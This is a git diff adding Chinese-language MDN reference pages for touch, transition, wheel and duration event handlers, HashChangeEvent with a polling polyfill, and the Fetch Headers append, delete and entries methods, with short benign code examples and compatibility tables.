{{ApiRef("HTML DOM")}}
+ +

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchcancel")}} event.

+ +

{{SeeCompatTable}}

+ +
+

Note: 这个属性没有被正式标准化。它在 {{SpecName('Touch Events 2')}} 被指定,{{Spec2('Touch Events 2')}} 规范 并且没有在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}。此属性没有被广泛实现。

+
+ +

语法

+ +
var cancelHandler = someElement.ontouchcancel;
+
+ +

返回值

+ +
+
cancelHandler
+
元素someElement上的touchcancel事件句柄。
+
+ +

例子

+ +

这个例子展示了两种方法在元素touchcancel事件句柄上使用ontouchcancel 事件

+ +
<html>
+<script>
+function cancelTouch(ev) {
+ // 事件执行过程
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchcancel = cancelTouch;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" ontouchcancel="cancelTouch(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchcancel')}}{{Spec2('Touch Events 2')}}Non-stable version.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ontouchmove/index.html b/files/zh-cn/web/api/globaleventhandlers/ontouchmove/index.html new file mode 100644 index 0000000000..848f9ac6b7 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ontouchmove/index.html @@ -0,0 +1,128 @@ +--- +title: GlobalEventHandlers.ontouchmove +slug: Web/API/GlobalEventHandlers/ontouchmove +translation_of: Web/API/GlobalEventHandlers/ontouchmove +--- +
{{ApiRef("HTML DOM")}}
+ +

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.

+ +

{{SeeCompatTable}}

+ +
+

Note: 这个属性没有正式标准化。它在 {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 规范中提出,而不在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}} 中. 这个属性没有被广泛地实现.

+
+ +

语法

+ +
var moveHandler = someElement.ontouchmove;
+
+ +

Return value

+ +
+
moveHandler
+
someElement元素的 touchmove 事件处理句柄/函数。
+
+ +

例子

+ +

这个例子展示了两种通过 ontouchmove 设置元素的 touchmove 事件处理句柄/函数的方式。

+ +
<html>
+<script>
+
+function moveTouch(ev) {
+ // 书剑
+}
+
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchmove = moveTouch;
+}
+
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" ontouchmove="moveTouch(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchmove')}}{{Spec2('Touch Events 2')}}Non-stable version.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(18.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ontouchstart/index.html b/files/zh-cn/web/api/globaleventhandlers/ontouchstart/index.html new file mode 100644 index 0000000000..58499d061c --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ontouchstart/index.html @@ -0,0 +1,126 @@ +--- +title: GlobalEventHandlers.ontouchstart +slug: Web/API/GlobalEventHandlers/ontouchstart +translation_of: Web/API/GlobalEventHandlers/ontouchstart +--- +
{{ApiRef("HTML DOM")}}
+ +

{{event("touchstart")}} 事件的{{domxref("GlobalEventHandlers","全局事件处理器")}}.

+ +

{{SeeCompatTable}}

+ +
+

备注: 这个属性尚未正式标准化。它被定义在{{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 规格中,但并没有被定义在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}中。这个属性尚未被完成实现。

+
+ +

语法

+ +
var startHandler = someElement.ontouchstart;
+
+ +

返回值

+ +
+
startHandler
+
someElement的touchstart事件处理函数.
+
+ +

例子

+ +

这个例子展示了使用ontouchstart属性的两种方法。

+ +
<html>
+<script>
+function startTouch(ev) {
+ // 处理事件
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchstart = startTouch;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" ontouchstart="startTouch(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchstart')}}{{Spec2('Touch Events 2')}}Non-stable version.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(18.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ontransitioncancel/index.html b/files/zh-cn/web/api/globaleventhandlers/ontransitioncancel/index.html new file mode 100644 index 0000000000..b6f15f3181 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ontransitioncancel/index.html @@ -0,0 +1,147 @@ +--- +title: GlobalEventHandlers.ontransitioncancel +slug: Web/API/GlobalEventHandlers/ontransitioncancel +translation_of: Web/API/GlobalEventHandlers/ontransitioncancel +--- +
{{APIRef("CSS3 Transitions")}}
+ +

{{domxref("GlobalEventHandlers")}}混合 的 ontransitioncancel  属性 是处理 {{event("transitioncancel")}} 事件的手柄{{domxref("EventHandler")}}.

+ +
+

domxref("GlobalEventHandlers") 与 domxref("EventHandler"): dom修订版本的事件手柄。

+ +

event("transitioncancel"):transitioncancel事件

+
+ +

当CSS转换被取消时,transitioncancel事件被触发。当以下情况时,过渡被取消::

+ + + +

Syntax

+ +
var transitionCancelHandler = target.ontransitioncancel;
+
+target.ontransitioncancel = {{jsxref("Function")}}
+
+ +

Value

+ +

A {{jsxref("Function")}} to be called when a {{event("transitioncancel")}} event occurs indicating that a CSS transition has been cancelled on the target, where the target object is an HTML element ({{domxref("HTMLElement")}}), document ({{domxref("Document")}}), or window ({{domxref("Window")}}). The function receives as input a single parameter: a {{domxref("TransitionEvent")}} object describing the event which occurred; the event's {{domxref("TransitionEvent.elapsedTime")}} property's value should be the same as the value of {{cssxref("transition-duration")}}.

+ +
+

Note: elapsedTime不包括过渡效果开始之前的时间;这意味着{{cssxref("transition-delay")}}的值不会影响elapsedTime的值,elapsedTime在延迟周期结束和动画开始之前都是0。

+
+ +

Example

+ +

在本例中,我们使用{{event("transitionrun")}}和{{event("transitionend")}}事件来检测转换何时开始和结束,从而导致在转换期间发生文本更新。这也可以用来触发动画或其他效果,以允许连锁反应。

+ +

除此之外, 我们也使用 {{event("click")}} 事件使盒子消失 (display: none;), 显示如何触发 {{event("transitioncancel")}} 事件.

+ +

HTML content

+ +

这只是简单地创建了一个{{HTMLElement("div")}},我们将在下面用CSS样式使其成为一个框,调整大小和改变颜色等。

+ +
<div class="box"></div>
+
+ +

CSS content

+ +

下面的CSS样式框和应用一个过渡效果,使框的颜色和大小改变,并导致框旋转,而鼠标光标在它上面。

+ +
.box {
+  margin-left: 70px;
+  margin-top: 30px;
+  border-style: solid;
+  border-width: 1px;
+  display: block;
+  width: 100px;
+  height: 100px;
+  background-color: #0000FF;
+  color: #FFFFFF;
+  padding: 20px;
+  font: bold 1.6em "Helvetica", "Arial", sans-serif;
+  -webkit-transition: width 2s, height 2s, background-color 2s, -webkit-transform 2s, color 2s;
+  transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s;
+}
+
+.box:hover {
+  background-color: #FFCCCC;
+  color: #000000;
+  width: 200px;
+  height: 200px;
+  -webkit-transform: rotate(180deg);
+  transform: rotate(180deg);
+}
+
+ +

JavaScript content

+ +

然后, 我们需要建立事件处理程序,以便在转换开始和结束时更改框的文本内容。

+ +
let box = document.querySelector(".box");
+box.ontransitionrun = function(event) {
+  box.innerHTML = "Zooming...";
+}
+
+box.ontransitionend = function(event) {
+  box.innerHTML = "Done!";
+}
+
+box.onclick = function() {
+  box.style.display = 'none';
+  timeout = window.setTimeout(appear, 2000);
+  function appear() {
+    box.style.display = 'block';
+  }
+}
+
+box.ontransitioncancel = function(event) {
+  console.log('transitioncancel fired after ' + event.elapsedTime + ' seconds.');
+}
+
+ +

Result

+ +

The resulting content looks like this:

+ +

{{EmbedLiveSample('Example', 600, 280)}}

+ +

Notice what happens when you hover your mouse cursor over the box, then move it away.

+ +

Also note the log that appears in the JavaScript console when you click the box, or move the cursor away before the transition has run to completion.

+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions','#dom-globaleventhandlers-ontransitioncancel','ontransitioncancel')}}{{Spec2('CSS3 Transitions')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.GlobalEventHandlers.ontransitioncancel")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ontransitionend/index.html b/files/zh-cn/web/api/globaleventhandlers/ontransitionend/index.html new file mode 100644 index 0000000000..5549084e8c --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ontransitionend/index.html @@ -0,0 +1,120 @@ +--- +title: GlobalEventHandlers.ontransitionend +slug: Web/API/GlobalEventHandlers/ontransitionend +translation_of: Web/API/GlobalEventHandlers/ontransitionend +--- +
{{APIRef("CSS3 Transitions")}}
+ +

{{event("transitionend")}} 事件的事件处理函数,在某个 CSS transition 完成时触发。

+ +
+

如果在 transition 完成前,该 transition 已从目标节点上移除,那么 {{event("transitionend")}} 将不会被触发。一种可能的情况是修改了目标节点的 {{cssxref("transition-property")}} 属性,另一种可能的情况是 {{cssxref("display")}} 属性被设为 "none"

+
+ +

语法

+ +
var transitionEndHandler = target.ontransitionend;
+
+target.ontransitionend = {{jsxref("Function")}}
+
+ +

+ +

一个 {{jsxref("Function")}},该函数会在 {{event("transitionend")}} 事件发生时被触发,表示目标节点的 CSS transition 已经完成。目标节点可能是一个 HTML 元素 ({{domxref("HTMLElement")}}),document ({{domxref("Document")}}),或者 window ({{domxref("Window")}})。该函数接受一个参数:一个描述该事件的 {{domxref("TransitionEvent")}} 对象;其 {{domxref("TransitionEvent.elapsedTime")}} 属性值与 {{cssxref("transition-duration")}} 的值一致。

+ +
+

elapsedTime 并不包括 transition 效果开始前的时间,也就是说,{{cssxref("transition-delay")}} 属性并不会影响 elapsedTime的值,其在延迟结束、动画开始之时,值为零。

+
+ +

示例

+ +

本例中,我们使用了 {{event("transitionrun")}} 和 {{event("transitionend")}} 事件来监测 transition 的开始和结束,从而在 transition 的过程中更新文本。这也可以被用来触发动画或者其它效果来实现连锁反应。

+ +

HTML 内容

+ +

这里简单地创建了一个 {{HTMLElement("div")}},我们将使用 CSS 来改变其大小和颜色。

+ +
<div class="box"></div>
+
+ +

CSS 内容

+ +

以下为 CSS 样式,并添加了 transition 属性。当鼠标悬浮时,盒子大小和颜色会发生变化,而且还会转动。

+ +
.box {
+  margin-left: 70px;
+  margin-top: 30px;
+  border-style: solid;
+  border-width: 1px;
+  display: block;
+  width: 100px;
+  height: 100px;
+  background-color: #0000FF;
+  color: #FFFFFF;
+  padding: 20px;
+  font: bold 1.6em "Helvetica", "Arial", sans-serif;
+  -webkit-transition: width 2s, height 2s, background-color 2s, -webkit-transform 2s, color 2s;
+  transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s;
+}
+
+.box:hover {
+  background-color: #FFCCCC;
+  color: #000000;
+  width: 200px;
+  height: 200px;
+  -webkit-transform: rotate(180deg);
+  transform: rotate(180deg);
+}
+
+ +

JavaScript 内容

+ +

接下来,我们需要事件处理函数以在 transition 发生和结束时修改文本内容。

+ +
let box = document.querySelector(".box");
+box.ontransitionrun = function(event) {
+  box.innerHTML = "Zooming...";
+}
+box.ontransitionend = function(event) {
+  box.innerHTML = "Done!";
+}
+
+ +

效果

+ +

最后的效果如下:

+ +

{{EmbedLiveSample('Example', 600, 280)}}

+ +

注意观察当鼠标悬浮在元素上以及移出时发生的变化。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions','#ontransitionend','ontransitionend')}}{{Spec2('CSS3 Transitions')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.ontransitionend")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onwheel/index.html b/files/zh-cn/web/api/globaleventhandlers/onwheel/index.html new file mode 100644 index 0000000000..b657f2f4b0 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onwheel/index.html @@ -0,0 +1,182 @@ +--- +title: GlobalEventHandlers.onwheel +slug: Web/API/GlobalEventHandlers/onwheel +tags: + - API + - DOM + - Event Handler + - GlobalEventHandlers + - Property + - Reference + - onwheel +translation_of: Web/API/GlobalEventHandlers/onwheel +--- +

{{ ApiRef("DOM") }}

+ +

归纳说明

+ +

{{domxref("GlobalEventHandlers")}} 的 onwheel 特性指向当前元素的滑轮滑动事件函数 {{domxref("EventHandler")}}。

+ +
+

注意:不要混淆 onwheel 和 {{domxref("GlobalEventHandlers.onscroll", "onscroll")}}:onwheel 通常用于处理滑轮的滚动事件,而 onscroll 用于处理某个对象内容的滚动。

+
+ +

语法

+ +
target.onwheel = functionRef;
+
+ +

+ +

functionRef 是一个函数名或者函数表达式。该函数接受一个 {{domxref("WheelEvent")}} 对象作为唯一的传入参数。

+ +

举例

+ +

以下例子展示了如何使用鼠标(或其它光标设备)的滚轮来缩放一个元素。

+ +

HTML

+ +
<div>Scale me with your mouse wheel.</div>
+ +

CSS

+ +
body {
+  min-height: 100vh;
+  margin: 0;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+div {
+  width: 80px;
+  height: 80px;
+  background: #cdf;
+  padding: 5px;
+  transition: transform .3s;
+}
+ +

JavaScript

+ +
function zoom(event) {
+  event.preventDefault();
+
+  if (event.deltaY < 0) {
+    // 放大
+    scale *= event.deltaY * -2;
+  }
+  else {
+    // 缩小
+    scale /= event.deltaY * 2;
+  }
+
+  // 限制缩放
+  scale = Math.min(Math.max(.125, scale), 4);
+
+  // 应用缩放过渡效果
+  el.style.transform = `scale(${scale})`;
+}
+
+let scale = 1;
+const el = document.querySelector('div');
+document.onwheel = zoom;
+ +

结果

+ +

{{EmbedLiveSample("Examples", 700, 400)}}

+ +

详情指南

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onwheel','onwheel')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

注意

+ +

当用户在相应元素上滚动滑轮便触发 {{ event("wheel") }} 事件。

+ +

参见

+ + + +

+ +

+ +

+ +

+ +

+ +

diff --git "a/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" "b/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" new file mode 100644 index 0000000000..2c3923fca9 --- /dev/null +++ "b/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" @@ -0,0 +1,52 @@ +--- +title: GlobalEventHandlers.ondurationchange +slug: Web/API/GlobalEventHandlers/时长改变 +tags: + - API + - Audio + - Video +translation_of: Web/API/GlobalEventHandlers/ondurationchange +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} 的ondurationchange属性是一个处理 {{event("durationchange")}} 事件的{{domxref("EventHandler")}} 。

+ +

durationchange事件会在duration发生变更时触发。

+ +

语法

+ +
element.ondurationchange = handlerFunction;
+var handlerFunction = element.ondurationchange;
+
+ +

handlerFunction可以为null也可以是一个处理该事件的JavaScript方法

+ +

规范说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-ondurationchange','ondurationchange')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ + + +

{{Compat("api.GlobalEventHandlers.ondurationchange")}}

+ +

其他

+ + diff --git a/files/zh-cn/web/api/hashchangeevent/index.html b/files/zh-cn/web/api/hashchangeevent/index.html new file mode 100644 index 0000000000..bb45095bac --- /dev/null +++ b/files/zh-cn/web/api/hashchangeevent/index.html @@ -0,0 +1,135 @@ +--- +title: HashChangeEvent +slug: Web/API/HashChangeEvent +tags: + - API + - Event + - HTML5 + - HashChange + - 事件 + - 参考 + - 接口 +translation_of: Web/API/HashChangeEvent +--- +
{{APIRef("HTML DOM")}}
+ +

HashChangeEvent 接口表示一个变化事件,当 URL 中的片段标识符发生改变时,会触发此事件。

+ +

片段标识符指 URL 中 # 号和它以后的部分。

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

 这个接口也从 {{domxref("Event")}} 中继承属性。

+ +
+
{{domxref("HashChangeEvent.newURL")}} {{readonlyInline}} {{gecko_minversion_inline("6.0")}}
+
window即将导航到达的新 URL。
+
{{domxref("HashChangeEvent.oldURL")}} {{readonlyInline}} {{gecko_minversion_inline("6.0")}}
+
window此前导航到达过的URL。
+
+ +

方法

+ +

这个接口没有自己的方法,但从 {{domxref("Event")}} 中继承方法

+ +

示例

+ +

井号内容变化的语法选择

+ +

你可以选择使用下述的任一方法监听 {{event("hashchange")}} 事件。

+ +
window.onhashchange = funcRef;
+
+ +

+ +
<body onhashchange="funcRef();">
+
+ +

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

基本示例

+ +
function locationHashChanged() {
+  if (location.hash === '#somecoolfeature') {
+    somecoolfeature();
+  }
+}
+
+window.addEventListener('hashchange', locationHashChanged);
+
+ +
+
+ +

回落方法(Polyfill)

+ +

在 Modernizr GitHub page 中列出了几种回落(fallback)脚本。基本上,这些脚本每隔一段时间检查以此 {{domxref("HTMLHyperlinkElementUtils.hash", "location.hash")}}。这里是其中一个版本,其仅允许一个处理程序(handler)绑定在 {{domxref("WindowEventHandlers.onhashchange", "onhashchange")}} 属性上:

+ +
(function(window) {
+
+  // 如果浏览器已经实现了此事件,则退出函数
+  if ( "onhashchange" in window.document.body ) return;
+
+  var location = window.location,
+      oldURL  = location.href,
+      oldHash = location.hash;
+
+  // 每隔 100 毫秒,检查一次片段标识符
+  setInterval(function() {
+    var newURL  = location.href,
+        newHash = location.hash;
+
+    // 如果片段标识符有变化,且处理程序存在
+    if ( newHash != oldHash && typeof window.onhashchange === "function" ) {
+      // 执行处理程序
+      window.onhashchange({
+        type: "hashchange",
+        oldURL: oldURL,
+        newURL: newURL
+      });
+
+      oldURL = newURL;
+      oldHash = newHash;
+    }
+  }, 100);
+
+})(window);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "#hashchangeevent", "HashChangeEvent")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HashChangeEvent")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/hashchangeevent/newurl/index.html b/files/zh-cn/web/api/hashchangeevent/newurl/index.html new file mode 100644 index 0000000000..104fa38bfa --- /dev/null +++ b/files/zh-cn/web/api/hashchangeevent/newurl/index.html @@ -0,0 +1,47 @@ +--- +title: HashChangeEvent.newURL +slug: Web/API/HashChangeEvent/newURL +tags: + - API + - HashChangeEvent + - Property + - Reference + - Web API +translation_of: Web/API/HashChangeEvent/newURL +--- +
{{APIRef("HTML DOM")}}
+ +
+ +

newURL 为 {{domxref("HashChangeEvent")}} 接口的只读属性,其值为窗口导航改变后的 URL。

+ +

语法

+ +
let newEventUrl = event.newURL;
+ +

返回值

+ +

{{domxref("DOMString")}}.

+ +

示例

+ +
window.addEventListener('hashchange', function(event) {
+  console.log('Hash changed to ' + event.newURL);
+});
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-hashchangeevent-newurl', 'HashChangeEvent: newURL')}}{{Spec2('HTML WHATWG')}}
diff --git a/files/zh-cn/web/api/hashchangeevent/oldurl/index.html b/files/zh-cn/web/api/hashchangeevent/oldurl/index.html new file mode 100644 index 0000000000..f93dd11624 --- /dev/null +++ b/files/zh-cn/web/api/hashchangeevent/oldurl/index.html @@ -0,0 +1,41 @@ +--- +title: HashChangeEvent.oldURL +slug: Web/API/HashChangeEvent/oldURL +translation_of: Web/API/HashChangeEvent/oldURL +--- +
{{APIRef("HTML DOM")}}
+ +
+ +

oldURL 为 {{domxref("HashChangeEvent")}} 接口的只读属性,其值为窗口导航改变前的 URL。

+ +

语法

+ +
let oldEventUrl = event.oldURL;
+ +

返回值

+ +

{{domxref("DOMString")}}.

+ +

示例

+ +
window.addEventListener('hashchange', function(event) {
+  console.log('Hash changed from ' + event.oldURL);
+});
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-hashchangeevent-oldurl', 'HashChangeEvent: oldURL')}}{{Spec2('HTML WHATWG')}}
diff --git a/files/zh-cn/web/api/headers/append/index.html b/files/zh-cn/web/api/headers/append/index.html new file mode 100644 index 0000000000..ca3477c5a0 --- /dev/null +++ b/files/zh-cn/web/api/headers/append/index.html @@ -0,0 +1,84 @@ +--- +title: Headers.append() +slug: Web/API/Headers/append +tags: + - Append + - Headers.append() +translation_of: Web/API/Headers/append +--- +

{{APIRef("Fetch")}}

+ +

在一个Headers对象内部,{{domxref("Headers")}}接口的append()方法可以追加一个新值到已存在的headers上,或者新增一个原本不存在的header。

+ +

{{domxref("Headers.set")}} 和 append() 两者之间的不同之处在于当指定header是已经存在的并且允许接收多个值时,{{domxref("Headers.set")}}会重写此值为新值,而append()会追加到值序列的尾部。

+ +

因为安全性原因,一些headers仅受用户代理控制。包括{{Glossary("Forbidden_header_name", "forbidden header names", 1)}}和{{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}。

+ +

语法

+ +
myHeaders.append(name,value);
+ +

参数

+ +
+
name
+
要追加给Headers对象的HTTP header名称.
+
value
+
要追加给Headers对象的HTTP header值.
+
+ +

返回

+ +

Void.

+ +

例程

+ +

创建一个空的Headers对象:

+ +
var myHeaders = new Headers(); // Currently empty
+ +

可以通过append()方法添加header:

+ +
myHeaders.append('Content-Type', 'image/jpeg');
+myHeaders.get('Content-Type'); // Returns 'image/jpeg'
+
+ +

如果指定header不存在, append()将会添加这个header并赋值 . 如果指定header已存在并允许有多个值, append()将会把指定值添加到值队列的末尾。

+ +
myHeaders.append('Accept-Encoding', 'deflate');
+myHeaders.append('Accept-Encoding', 'gzip');
+myHeaders.getAll('Accept-Encoding'); // Returns [ "deflate", "gzip" ]
+
+ +

要使用新值覆盖旧值,请使用{{domxref("Headers.set")}}。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-headers-append','append()')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.Headers.append")}}

+ +
 
+ +

参见

+ + diff --git a/files/zh-cn/web/api/headers/delete/index.html b/files/zh-cn/web/api/headers/delete/index.html new file mode 100644 index 0000000000..12c52da4c0 --- /dev/null +++ b/files/zh-cn/web/api/headers/delete/index.html @@ -0,0 +1,136 @@ +--- +title: Headers.delete() +slug: Web/API/Headers/delete +translation_of: Web/API/Headers/delete +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

+ +

delete() 方法可以从Headers对象中删除指定header.

+ +

下列原因将会导致该方法抛出一个{{jsxref("TypeError")}}:

+ + + +
+

Note:出于安全原因, 部分头信息只能被用户代理控制. 这些头信息包括 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  和 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.

+
+ +

Syntax

+ +
myHeaders.delete(name);
+ +

Parameters

+ +
+
name
+
需删除的HTTP header名称.
+
+ +

Returns

+ +

Void.

+ +

Example

+ +

创建一个空的Headers对象:

+ +
var myHeaders = new Headers(); // Currently empty
+ +

可以通过append()方法添加header:

+ +
myHeaders.append('Content-Type', 'image/jpeg');
+myHeaders.get('Content-Type'); // Returns 'image/jpeg'
+
+ +

可以通过delete()方法删除已有header:

+ +
myHeaders.delete('Content-Type');
+myHeaders.get('Content-Type'); // Returns null, as it has been deleted
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-headers-delete','delete()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref
+  
{{ CompatGeckoDesktop(39)}}
+ 34 behind pref
{{ CompatNo }} +

29
+ 28 behind pref

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/headers/entries/index.html b/files/zh-cn/web/api/headers/entries/index.html new file mode 100644 index 0000000000..abcc44ce61 --- /dev/null +++ b/files/zh-cn/web/api/headers/entries/index.html @@ -0,0 +1,117 @@ +--- +title: Headers.entries() +slug: Web/API/Headers/entries +translation_of: Web/API/Headers/entries +--- +

{{APIRef}}{{SeeCompatTable}}

+ +

Headers.entries() 以 {{jsxref("Iteration_protocols","迭代器")}} 的形式返回Headers对象中所有的键值对. 

+ +
+

Note: 这个方法在 Web Workers中是可用的.

+
+ +

Syntax

+ +
headers.entries();
+ +

Return value

+ +

返回一个 {{jsxref("Iteration_protocols","迭代器")}}.

+ +

Example

+ +
// Create a test Headers object
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'text/xml');
+myHeaders.append('Vary', 'Accept-Language');
+
+// Display the key/value pairs
+for (var pair of myHeaders.entries()) {
+   console.log(pair[0]+ ': '+ pair[1]);
+}
+
+ +

返回结果:

+ +
content-type: text/xml
+vary: Accept-Language
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#headers-class','Headers.entries() (as iterator<>)')}}{{Spec2('Fetch')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/headers/get/index.html b/files/zh-cn/web/api/headers/get/index.html new file mode 100644 index 0000000000..7ef3dfffc7 --- /dev/null +++ b/files/zh-cn/web/api/headers/get/index.html @@ -0,0 +1,137 @@ +--- +title: Headers.get() +slug: Web/API/Headers/get +tags: + - get() +translation_of: Web/API/Headers/get +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

+ +

